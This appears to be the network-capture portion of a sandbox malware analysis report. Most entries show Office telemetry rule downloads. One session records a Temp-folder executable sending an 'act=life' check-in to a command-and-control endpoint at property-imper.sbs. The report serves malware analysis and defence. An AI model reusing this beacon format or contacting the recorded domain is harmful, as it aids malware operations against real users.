2024-11-23 17:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172212Z-174c587ffdf8fcgwhC1TEBnn7000000003fg000000001fmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172214Z-15b8b599d88vp97chC1TEB5pzw00000003900000000044da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:13 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172214Z-178bfbc474btvfdfhC1NYCa2en00000004xg00000000489d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172214Z-15b8b599d88z9sc7hC1TEBkr4w00000003bg00000000ad0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172214Z-178bfbc474bnwsh4hC1NYC2ubs00000004tg00000000ehky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172214Z-178bfbc474b7cbwqhC1NYC8z4n00000004rg000000006c6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:15 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172216Z-15b8b599d886w4hzhC1TEBb4ug00000003c00000000034ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:16 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 3eb19cd4-801e-00ac-194b-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172216Z-15b8b599d88g5tp8hC1TEByx6w000000035g00000000czws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:16 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172216Z-15b8b599d88f9wfchC1TEBm2kc00000003f00000000011w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:16 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172217Z-174c587ffdf8fcgwhC1TEBnn7000000003bg00000000fytr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:16 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172217Z-174c587ffdfb5q56hC1TEB04kg0000000380000000002tfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49771	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 17:22:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 17:22:17 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=blpb3eoftnq4go7l1gnsvmqt1u; expires=Wed, 19-Mar-2025 11:08:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nT%2B5QJngCnAx2Py86g3e1jLTZZ%2B9iyNSkY0cOuYIptUOJ84sq4rfYY7qpZmC%2Fiqrx3NFYH2zXGxLz7v5mIH4wj%2B2HPWMitWGDhaggCSmMiZcAG1O0Qmqf%2Bov4tDyi3PCCE6uOFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7271fd4434f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1682027&cwnd=221&unsent_bytes=0&cid=75c0aa0d07d687e7&ts=733&x=0"
2024-11-23 17:22:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 17:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:18 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
